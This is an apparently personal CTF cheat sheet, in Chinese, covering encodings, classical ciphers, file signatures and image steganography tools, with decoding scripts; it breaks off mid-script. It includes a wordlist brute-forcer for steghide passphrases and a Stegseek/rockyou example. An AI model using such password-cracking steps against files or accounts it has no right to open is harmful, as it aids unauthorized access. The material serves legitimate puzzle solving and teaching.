Misc All In One
C3ngH Lv3

编码/加密

Base家族

在线网站:https://cyberchef.org/

base64可以换表编码

1
2
表:sQ+3ja02RchXLUFmNSZoYPlr8e/HVqxwfWtd7pnTADK15Evi9kGOMgbuIzyB64CJ
密文:SjaoNgS0xgagUTpwe3QwHn4MrbkD/OUwqOQG/bpveg6Mqa4WH0k46

MD5

在线网站:https://www.cmd5.com

Byte类型

image

emoji-AES

在线网站:https://aghorler.github.io/emoji-aes/

1
2
3
密文:🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🌊🚰✖😇😊🐍😀🔪😇🚰🎈🏎😂❓😁🍎👑⏩🚫❓🎅🎃😡⌨☀🍌😁✖😂🏎🍌🎃🗒
明文:flag
密钥:key

emoji解码

在线网站:http://www.atoolbox.net/Tool.php?Id=937

1
🐯👏👋🐾👚👪👇👱👞👚🐦👡👙👚👏👍🐯👏🐽👐👜🐦👇👱👜👙👤👡👙🐬👥🐻🐯👏👋👈👚👪👇👘👰👛👮👡👙👎🐭🐯

二维码

解码在线网站:https://cli.im/deqr/other

分析修复在线网站:https://merri.cx/qrazybox/

频次分析

字频分析:https://lzltool.cn/Tools/LetterFrequency

词频分析:https://quipqiup.com/

摩斯电码

可能只有.-0 1组成,也可能是其他只有两种字符的情况,通常会使用空格、换行或/进行分割

维吉尼亚密码

  • 给出密钥 -> CyberChef
  • 没有密钥 -> 根据对照表手搓密钥

在线网站:https://ctf.bugku.com/tool/vigenere

维吉尼亚flag爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#By C3ngH
def vigenere_decrypt(ciphertext, key):
plaintext = []
key_length = len(key)
key_index = 0

for char in ciphertext:
if char.isalpha():
key_char = key[key_index % key_length]
shift = ord(key_char.upper()) - ord('A')
if char.isupper():
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
else:
decrypted_char = chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
plaintext.append(decrypted_char)
key_index += 1
else:
plaintext.append(char)

return ''.join(plaintext)

def vigenere_bruteforce(ciphertext, known_plaintext, max_key_length):
from itertools import product
import string

keyspace = string.ascii_uppercase
ciphertext = ciphertext
known_plaintext = known_plaintext

for key_length in range(1, max_key_length + 1):
for key_tuple in product(keyspace, repeat=key_length):
key = ''.join(key_tuple)
decrypted_text = vigenere_decrypt(ciphertext[:len(known_plaintext)], key)
# 只比较字母字符
if ''.join(filter(str.isalpha, decrypted_text)) == ''.join(filter(str.isalpha, known_plaintext)):
return key, vigenere_decrypt(ciphertext, key)

return None, None

# 示例输入
ciphertext = input("输入待解密的密文: ")
known_plaintext = input("输入flag的开头部分: ")
max_key_length = len(known_plaintext)

# 爆破密钥
key, decrypted_message = vigenere_bruteforce(ciphertext, known_plaintext, max_key_length)

print(f"密钥: {key}")
print(f"成功解密flag: {decrypted_message}")

希尔密码

已知密文和密钥,并且密钥(key)是一个网址,如http://www.verymuch.net

已知密文和密钥,并且密钥是四个数字

1
2
密文:ymyvzjtxswwktetpyvpfmvcdgywktetpyvpfuedfnzdjsiujvpwktetpyvnzdjpfkjssvacdgywktetpyvnzdjqtincduedfpfkjssne
密钥:3 4 19 11

在线网站:https://www.metools.info/code/hillcipher243.html

Rabbit加密

密文形式类似base64,但可能有+

在线网站:https://www.sojson.com/encrypt_rabbit.html

幂数加密/云影密码

密文只由0 1 2 4 8组成

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
with open(r'C:/Users/67300/Download/1.txt','r') as f:	#修改路径
data = f.read()
print(data)

list = data.split('0')
print(list)

datalist=[]
def dlist(list):
d = 0
for i in list:
for j in i:
d += int(j)
datalist.append(d)
d=0
return datalist
datalist = dlist(list)

def str(datalist):
s=''
for i in datalist:
s += chr(i+64)
return s
print(str(datalist))

曼彻斯特编码 & 差分曼彻斯特编码

image

详见:数据通信基础 4.1| C3ngH’s B10g

使用曼彻斯特编码转换工具进行转换

image

社会主义核心价值观编码

在线网站:http://www.hiencode.com/cvencode.html

音符解密

1
♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

注意:加密的密文一定是以=结尾的,如果没有需要自己加

在线网站:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

敲击码

基于5×5方格波利比奥斯方阵实现,不同点是是用K字母被整合到C中,因此密文的特征为1-5的两位一组的数字,编码的范围是A-Z字母字符集,字母不区分大小写。

image

在线网站:http://www.hiencode.com/tapcode.html

盲文

在线网站:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen

Polybius密码

image

在线网站:http://www.atoolbox.net/Tool.php?Id=913

AES加密

埃特巴什码(Atbash)

1
密文:(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

在线网站:https://www.metools.info/code/atbash209.html

DNA编码

1
密文:AATTCAACAACATGCTGC

脚本:https://github.com/omemishra/DNA-Genetic-Python-Scripts-CTF

仿射密码

有两个key,key-a为必须是(1,3,5,7,9,11,15,17,19,21,23,25)中的一个,key-b是0~25的数字

在线网站:http://www.hiencode.com/affine.html

Brainfuck

1
密文:+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.< 

在线网站:https://tool.bugku.com/brainfuck/

Ook!

image

在线网站:https://tool.bugku.com/brainfuck/

与佛论禅 / 与熊论道 / 兽语加密

通常以佛曰熊曰开头,中文乱码

在线网站:http://hi.pcmoe.net/

在线网站:https://ctf.bugku.com/tool/todousharp

空白格 / 无字天书:

image

在线网站:https://www.w3cschool.cn/tryrun/runcode?lang=whitespace

在线网站:https://vii5ard.github.io/whitespace/

Serpent解密

在线网站:https://www.ssleye.com/ssltool/ser_cipher.html

零宽隐写

在线网站:http://330k.github.io/misc_tools/unicode_steganography.html

Gronsfeld密码

1
2
3
4
5
6
7
8
# 解密脚本
from pycipher import Gronsfeld

cipher = 'TGLBOMSJNSRAJAZDEZXGHSJNZWHG'
key = [1,50,61,8,9,20,63,41]
secret = Gronsfeld(key).decipher(cipher)

print(secret)

UUencode编码

有点像base85

1
2
=8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
# c55192c992036ef623372601ff3a}

在线网站:https://www.qqxiuzi.cn/bianma/uuencode.php

AAencode编码

1
2
密文:
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

在线网站:http://www.hiencode.com/aaencode.html

XXencode编码

和UUencode有点像

在线网站:https://try8.cn/tool/code/xxencode

snow隐写

在行尾附加空格和制表符来隐藏 ASCII 文本中的消息

官网:https://www.darkside.com.au/snow/

参数 作用
-C 如果隐藏,则压缩数据,或者如果提取,则会解压缩。
-Q 静音模式。如果未设置,则程序报告统计信息,例如压缩百分比和可用存储空间的数量。
-S 报告文本文件中隐藏消息的近似空间量。考虑线长度,但忽略其他选项。
-p password 如果设置为此,则在隐藏期间将使用此密码加密数据,或在提取期间解密。
-l line-length 在附加空格时,Snow将始终产生比此值短的线条。默认情况下,它设置为80。
-f message-file 此文件的内容将隐藏在输入文本文件中。
-m message-string 此字符串的内容将被隐藏在输入文本文件中。请注意,除非在字符串中包含一个换行符,否则在提取邮件时,否则不会打印换行符。
  • 加密消息

    1
    SNOW.EXE -C -m "qsdz yyds" -p "duzou" infile outfile
  • 提取消息

    1
    SNOW.EXE -C -p "duzou" infile outfile

需要注意的是,infile 必须在 outfile 前,如果不填 infile 选项,则默认从标准输入中获得;如果不填 outfile 选项,则默认输出到标准输出中。

中文电报

类似于四位数一组的编码

1
5337 5337 2448 2448 0001 2448 0001 2161 1721 1869 6671 0008 3296 4430 0001 3945 0260 3945 1869 4574 5337 0344 2448 0037 5337 5337 0260 0668 5337 6671 0008 3296 1869 6671 0008 3296 1869 2161 1721 

在线网站:https://www.qqxiuzi.cn/bianma/dianbao.php

Quote-Printable编码

1
密文:=E6=8A=80=E6=9C=AF=E6=9C=89=E6=B8=A9=E5=BA=A6

在线网站:https://try8.cn/tool/code/qp

中文ASCII码

1
27880 30693 25915 21892 38450 23454 39564 23460 21457 36865 112 108 98 99 116 102 33719 21462 21069 27573 102 108 97 103 20851 27880 79 110 101 45 70 111 120 23433 20840 22242 38431 22238 22797 112 108 98 99 116 102 33719 21462 21518 27573 102 108 97 103

加上 & # ;

1
&#27880;&#30693;&#25915;&#21892;&#38450;&#23454;&#39564;&#23460;&#21457;&#36865;&#112;&#108;&#98;&#99;&#116;&#102;&#33719;&#21462;&#21069;&#27573;&#102;&#108;&#97;&#103;&#20851;&#27880;&#79;&#110;&#101;&#45;&#70;&#111;&#120;&#23433;&#20840;&#22242;&#38431;&#22238;&#22797;&#112;&#108;&#98;&#99;&#116;&#102;&#33719;&#21462;&#21518;&#27573;&#102;&#108;&#97;&#103;

在线网站:https://www.xuhuhu.com/beautify/ascii/

培根密码

由 a、b 或者 A、B 或者 0、1 组成的密文,密文中只有两种字符,可以直接使用 随波逐流 解密

CyberChef 的培根密码解密可能会有点问题,这里建议用随波逐流解密

锟斤拷

成因是 Unicode 的替换字符(Replacement Character,�)于 UTF-8 编码下的结果 EF BF BD 重复,在 GBK 编码中被解释为汉字 “锟斤拷”(EF BF BD EF BF BD)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os

a = input('请选择你的功能(1、加密 2、解密):')
if a == "1":
s = input('请输入你要加密的话:')
utf = s.encode('utf')
gbk = s.encode('utf').decode('gbk', errors='ignore')
if len(s)%2 == 1:
gbk = gbk + "�"
print(gbk)
os.system("pause")
if a == "2":
s = input('请输入你要解密的话:')
gbk = s.encode('gbk')
utf = s.encode('gbk').decode('utf-8', errors='ignore')
print(utf)
os.system("pause")

键盘坐标密码

1
2
3
4
  1 2 3 4 5 6 7 8 9 0
1 Q W E R T Y U I O P
2 A S D F G H J K L
3 Z X C V B N M

11 21 31 18 27 33 34 -> QAZIJCV

福尔摩斯 跳舞的小人

image

手机九宫格键盘密码

82  73  42  31  22  31  33  41  32
U   R   H   D  B   D   F   G   E

利用编程代码画图

  1. LOGO编程语言【例题-[RCTF2019]draw 】
    在线编译器:https://www.calormen.com/jslogo/
  2. CFRS编程语言【例题-2024宁波市赛初赛 Misc2】
    在线画图网站:https://susam.net/cfrs.html

spammimic编码

spammimic - decoded

HGAME 2024有一题,可识读英文可以转成中文乱码,ROT8000编码

强网拟态2024 OSINT也是

malbolge

类似这样的

1
2
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>

类似题:2024 强网拟态 PvZ

在线网站:Malbolge - interpreter online (doleczek.pl)

PDU编码

1
0011000D91683106019196F40008AA104F60597D0067006F006F0064000A0033

PDU编码解码工具

解码工具

Ciphey

1
ciphey -t "aGVsbG8gbXkgbmFtZSBpcyBiZWU="	#WSL

CyberChef

Github源代码

CyberChef在线网站

Basecrack

1
python3 basecrack.py -m

image

随波逐流

随波逐流工作室

文件头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
.zip的文件头:50 4B 03 04 14 00 08 00
.rar的文件头:52 61 72 21
.rar的文件尾:C4 3D 7B 00 40 07 00
.pyc的文件头:03 F3 0D 0A
.jpg的文件头:FF D8 FF
.png的文件头:89 50 4e 47 0d 0a 1a 0a 文件尾:49 45 4E 44 AE 42 60 82
#Tips:PNG文件的前16字节是已知的:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
.gif的文件头:47 49 46 38 39 61(GIF89A)或 47 49 46 38 37 61(GIF87A)
.gif的文件尾:00 3B
.gz的文件头:1F 8B 08 00
.pyc的文件头:03 F3 0D 0A
.psd的文件头:38 42 50 53
TIFF (tif),文件头:49492A00
Windows [Bitmap](https://so.csdn.net/so/search?q=Bitmap&spm=1001.2101.3001.7020) (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864
M4a,文件头:00000018667479704D3441

图片通用隐写

属性-详细信息

Hint或Key可能藏在属性里

010Editor检查文件末尾

flag可能藏在文件末尾

010Editor检查文件头

可能存在文件头和文件后缀名不一致导致打不开的情况

binwalk & foremost

binwalk查看,foremost提取

盲水印隐写

项目地址:https://github.com/chishaxie/BlindWaterMark

1
2
3
4
5
6
bwm.py 程序文件python2版本
bwmforpy3.py 程序文件python***3.6***版本
hui.png 无水印的原图
wm.png 水印图
hui_with_wm.png 有盲水印的图
wm_from_hui.png 反解出来的水印图
1
python bwm.py encode hui.png wm.png hui_with_wm.png			#加密
1
python bwm.py decode hui.png hui_with_wm.png wm_from_hui.png		#解密

频域盲水印

Puzzle Solver一把梭

图片分离 / 拼接

1
2
3
4
5
6
7
#WSL
分解GIF的命令:convert glance.gif flag.png
水平镜像翻转图片:convert -flop reverse.jpg reversed.jpg
垂直镜像翻转图片:convert -flip reverse.jpg reversed.jpg
合成图片的命令:montage flag*.png -tile x1 -geometry +0+0 flag.png
-tile是拼接时每行和每列的图片数,这里用x1,就是只一行
-geometry是首选每个图和边框尺寸,我们边框为0,图照原始尺寸即可

OurSecret隐写

拖进OurSecret输入密钥进行解密

拼图

碎图片合成一张图片

1
2
3
#在Windows中使用imagemagick处理
magick.exe montage *.png -tile 18x10 -geometry 125x125+0+0 flag.jpg
magick montage *.png -tile 40x22 -geometry +0+0 flag-0.png
1
2
3
4
5
6
7
#在kali中处理
拉入kali里处理,如果是碎的图片,
先使用 montage *.PNG -tile 12x12 -geometry +0+0 out.png合成一张图片
*.png表示匹配所有图片
-tile表示图片的张数
-geometry +0+0表示每张图片的间距为0
合成后要先查看图片的宽高(宽高要相等,不相等要用PS调整)

然后把上面合成好的图片使用 Puzzle-Merak 工具进行智能拼图

image

image

输入 generation、population、size 并用分号分开即可开始自动拼图

也可以使用gaps智能拼图(在kali和wsl里使用都可以)

1
2
3
4
5
6
7
8
gaps --image=out.png --generation=30 --population=144 --size=30 --save 

--image 指向拼图的路径
--size 拼图块的像素尺寸
--generations 遗传算法的代的数量
--population 个体数量
--verbose 每一代训练结束后展示最佳结果
--save 将拼图还原为图像
1
2
3
4
5
6
gaps --image=flag.jpg --generations=50 --population=180 --size=125 --verbose

-generations 要迭代多少次
-population 有多少个小拼图
--size 每张小图,也就是拼图小块的大小
--verbose 实时显示

近邻法缩放图片

在PS中打开图片,然后在更改图像大小中,将宽高调成指定像素并将重新采样选项选为邻近(硬边缘)

pixeljihad

pixeljihad隐写 有密码

在线网站:https://sekao.net/pixeljihad/

隐写文本藏在原图片和隐写文件中间

在010 Editor中搜索IEND,查看后面有没有额外内容

提取图片中等距的像素点得到隐写的图片

在PowerShell中运行Get_Pixels.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#Get_Pixels.py
import os
import re
import cv2
import argparse
import itertools
import numpy as np


parser = argparse.ArgumentParser()
parser.add_argument('-f', type=str, default=None, required=True,
help='输入文件名称')
parser.add_argument('-p', type=str, default=None, required=True,
help='输入左上顶点和右下顶点坐标 (如:-p 220x344+3520x2150)')
parser.add_argument('-n', type=str, default=None, required=True,
help='输入宽度间隔和高度间隔 (如:-n 44x86)')
parser.add_argument('-size', type=str, default='1x1', required=False,
help='输入截取图像的大小 (如:-size 7x7)')
parser.add_argument('-resize', type=int, default=1, required=False,
help='输入截取图像放大倍数 (如:-resize 1)')
args = parser.parse_args()

if __name__ == '__main__':
if re.search(r"^\d{1,}x\d{1,}\+\d{1,}x\d{1,}$", args.p) and re.search(r"^\d{1,}x\d{1,}$", args.n) and re.search(r"^\d{1,}x\d{1,}$", args.size):
x1, y1 = map(lambda x: int(x), args.p.split("+")[0].split("x"))
x2, y2 = map(lambda x: int(x), args.p.split("+")[1].split("x"))
width, height = map(lambda x: int(x), args.n.split("x"))
width_size, height_size = map(lambda x: int(x), args.size.split("x"))

img_path = os.path.abspath(args.f)
file_name = img_path.split("\\")[-1]

img = cv2.imread(img_path, cv2.IMREAD_COLOR)
row, col = img.shape[:2]

r, c = len(range(y1, y2 + 1, height)), len(range(x1, x2 + 1, width))
new_img = np.zeros(shape=(r * height_size * args.resize, c * width_size * args.resize, 3))
for y, x in itertools.product(range(r), range(c)):
for y_size in range(height_size):
for x_size in range(width_size):
# new_img[y * height_size + y_size, x * width_size + x_size] = img[y1 + y * height + y_size, x1 + x * width + x_size]
pt1 = ((x * width_size + x_size) * args.resize, (y * height_size + y_size) * args.resize)
pt2 = ((x * width_size + x_size) * args.resize + args.resize, (y * height_size + y_size) * args.resize + args.resize)
color = img[y1 + y * height + y_size, x1 + x * width + x_size].tolist()
cv2.rectangle(new_img, pt1=pt1, pt2=pt2, color=color, thickness=-1)


cv2.imwrite(f"_{file_name}", new_img)
print("已保存到运行目录中...")
else:
print("参数-p或参数-n或参数-size, 输入错误!")
1
2
3
4
py main.py -f arcaea.png -p 0x0+3828x2148 -n 12x12
py main.py -f 要解密的图片 -p 第一个像素点的XY坐标+最后一个像素点的XY坐标 -n 两个等距像素点的XY距离的差值
如果是等距离提取整张图片中所有像素点,要注意右下角那个点的位置XY都要减去一倍的距离
Tips:在PS中按F8就可以看到每个像素点的具体坐标了

silenteye隐写

特征:放大图像后会有行列不对齐的小灰块

直接用 silenteye 打开输入密钥decode即可,默认密钥是 silenteye

图片报错改宽高后图片无变化

再 foremost 一下

DeEgger Embedder隐写

使用 DeEgger Embedder 工具 extract files

EXIF隐写

直接在 WSL 中输入以下命令查看即可,也可以直接使用 破空 flag 查找工具 进行查找

1
exiftool 1.jpg

npiet

Gabrielle Singh Cadieux - Piet IDE

1
npiet.exe -tpic image.png

猫脸变换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image

it = cv2.imread('input.png')

def arnold_decode(image, shuffle_times, a, b):

#修改参数a和b
a=13
b=14
# 1:创建新图像
decode_image = np.zeros(shape=image.shape)
# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w

# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image


arnold_decode(it, 1, 121, 144)

PNG图片隐写

CRC错误

修改宽高,17~20是宽,21~24是高

可用Puzzle Solver一把梭修改

LSB隐写

1
2
3
4
# wsl
zsteg -a (文件名) #查看各个通道的lsb
-b的位数是从1开始的 zsteg zlib.bmp -b 1 -o xy -v
提取文件并导出 zsteg -e b1,r,lsb,xy 3.png > 123.jpg

信息藏在图片中有时候会看不出来,所以还是要用stegsolve.jar过一遍

cloacked-pixel

lsb隐写的可能是加密后的数据,i春秋最喜欢的cloacked-pixel

拉到kali/WSL里用cloacked-pixel命令解密出数据

1
python2 cloacked-pixel-master/lsb.py extract 0.png out.data f78dcd383f1b574b

0.png是隐写后的图片;out.data是隐写内容保存的位置;f78dcd383f1b574b是密钥

IDAT块隐写

拉到kali里用pngcheck -v 0.png检查IDAT

解压zlib获得原始数据

然后用010提取数据扔进zlib脚本解压获得原始数据

将异常的IDAT数据块斩头去尾之后使用脚本解压,在python2代码如下:

1
2
3
4
5
6
import zlib
import binascii
IDAT = "789C5D91011280400802BF04FFFF5C75294B5537738A21A27D1E49CFD17DB3937A92E7E603880A6D485100901FB0410153350DE83112EA2D51C54CE2E585B15A2FC78E8872F51C6FC1881882F93D372DEF78E665B0C36C529622A0A45588138833A170A2071DDCD18219DB8C0D465D8B6989719645ED9C11C36AE3ABDAEFCFC0ACF023E77C17C7897667".decode('hex')
result = binascii.hexlify(zlib.decompress(IDAT))
print (result.decode('hex'))
print (len(result.decode('hex')))

加上文件头爆破宽高得到新的图片

一般出问题的 IDAT Chunk 大小都是比正常的小的,很可能在图片末尾

如果不确定是哪一个有问题,可以尝试都提取出来,一个一个分析

可以使用 tweakpng 辅助分析,但是一般用010的模板提取分析就够了

apngdis_gui

一张png图片还可能是apng,直接用apngdis_gui跑一下,可以分出两张相似的png

CVE-2023-28303 截图工具漏洞

可以使用Github上大佬写好的工具一把梭,前提是需要知道原图的分辨率

stegpy隐写

stegpy 开源地址 下载好后直接用WSL输入以下命令并输入密码解密即可

也可以直接用 pip 安装: pip3 install stegpy

1
stegpy 1.png -p

JPG图片隐写

outguess隐写

项目地址:https://github.com/crorvick/outguess

1
2
3
4
#WSL安装
git clone https://github.com/crorvick/outguess
cd outguess
./configure && make && make install

加密

1
2
3
4
5
outguess -k “my secret key” -d hidden.txt demo.jpg out.jpg
#key:my secret key
#要隐藏的内容:hidden.txt
#原图:demo.jpg
#隐写后:out.jpg,隐写后会覆盖原图

解密

1
2
3
outguess -k “my secret key” -r out.jpg hidden.txt
#-k 后面跟的是解密的密钥
#hidden.txt是解密后数据保存的位置

F5-steganography-master(F5隐写)

项目地址:https://github.com/matthewgao/F5-steganography

1
2
3
4
5
#有密码的情况
java Extract beautiful.jpg -p passwd
#无密码的情况
java Extract beautiful.jpg
#解密出来的数据会放到F5文件夹下的output.txt中

JPHS隐写

有可能会有密码

导出步骤 Select File --> seek --> demo.txt --> Save the file

steghide隐写

1
2
#密码已知
steghide extract -sf filename -p passwd

在WSL或者kali里用Stegseek跑(字典在wordlist里)

1
2
3
4
5
6
7
8
9
10
11
12
#密码未知
可以用下面这个脚本爆破
#bruteStegHide.sh
#!/bin/bash

for line in `cat $2`;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if [[ $? -eq 0 ]];then
echo 'password is: '$line
exit
fi
done
1
2
#或者在WSL或者kali里用Stegseek跑(字典在wordlist里)
stegseek filename rockyou.txt

BMP图片隐写

宽高爆破

删除文件头,并保存为文件名.data,然后用GIMP打开修改宽高(比较方便)

或者直接用bmp爆破脚本跑 python script.py -f filename.bmp

1
#用这个脚本要注意对图片一个个使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import time
import math
import argparse


parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
help="输入同级目录下图片的名称")
args = parser.parse_args()

SAVE_DIR = os.getcwd()


def save_img(data, width=None, height=None, sqrt_num=None):
with open(os.path.join(SAVE_DIR, "fix_width.bmp"), "wb") as f:
f.write(data[:0x12] + width.to_bytes(4,
byteorder="little", signed=False) + data[0x16:])

with open(os.path.join(SAVE_DIR, "fix_height.bmp"), "wb") as f:
f.write(data[:0x16] + height.to_bytes(4,
byteorder="little", signed=False) + data[0x1a:])

with open(os.path.join(SAVE_DIR, "fix_sqrt.bmp"), "wb") as f:
f.write(data[:0x12] + sqrt_num.to_bytes(4,
byteorder="little", signed=False) * 2 + data[0x1a:])


def get_pixels_size(data):
bfSize = int.from_bytes(data[0x2:0x2+4], byteorder="little", signed=False)
bfOffBits = int.from_bytes(
data[0xa:0xa+4], byteorder="little", signed=False)
biBitCount = int.from_bytes(
data[0x1c:0x1c+2], byteorder="little", signed=False)
channel = biBitCount // 8
# 由于宽高都会被修改,所以我计算出来的Padding_size也不是正确的,没有意义
# padding_size = (4 - col * channel % 4) * row if col * channel % 4 != 0 else 0
# pixels_size = (bfSize - bfOffBits - padding_size) // channel
return (bfSize - bfOffBits) // channel


if __name__ == '__main__':
file_path = os.path.abspath(args.f)
if os.path.splitext(args.f)[-1] != ".bmp":
print("您的文件后缀名不为BMP!")
time.sleep(1)
exit(-1)

with open(file_path, "rb") as f:
data = f.read()
col = abs(int.from_bytes(data[0x12:0x12+4],
byteorder="little", signed=True))
row = abs(int.from_bytes(data[0x16:0x16+4],
byteorder="little", signed=True))
pixels_size = get_pixels_size(data)

width, height = pixels_size // row, pixels_size // col
sqrt_num = int(math.sqrt((pixels_size)))
save_img(data, width=width, height=height, sqrt_num=sqrt_num)

print("温馨提示:由于填充字节的问题,所以可能会偏差几个像素!")
print(f"1.修复宽度: {width}")
print(f"2.修复高度: {height}")
print(f"3.修复宽度高度为: {sqrt_num}")
time.sleep(1)

wbStego4open隐写

用wbStego4open直接decode

GIF隐写

分帧提取 在线网站:https://tool.lu/gifsplitter/

1
2
# 在Windows或者WSL中执行以下命令进行分离
ffmpeg -i filename.gif frame%04d.png

二维码隐写

  • bmp转二维码

  • 16进制转pyc

  • 字符串制作二维码

    直接右键使用B神的脚本制作二维码,制作前注意要把字符串的长度手动修正为平方数
    1.0 1制作二维码
    2.00 11制作二维码

  • 四个TTL值转换一个字节的二进制数

  • Aztec code、DataMatrix、GridMatrix、汉信码、PDF417code等

Webp隐写

webp文件用电脑自带的图片看可能会有点问题,建议用浏览器打开这种文件

webp可能是动图,可以用下面这个脚本分离webp中的每帧图片

1
2
3
4
5
6
7
from PIL import Image

img = Image.open('killer.webp')
n_frame = img.n_frames
for i in range(n_frame):
img.seek(i)
img.save(f'img/{i}.png')

RAW、ARW文件隐写

  • RAW的LSB隐写

ARW文件是 Sony 相机的原始数据格式

可以使用 rawpy 模块读取图片的像素数据,查看是否存在LSB隐写【例:2024 L3HCTF RAWatermark】

示例脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import rawpy
import numpy as np
import libnum

with rawpy.imread('image.ARW') as raw:
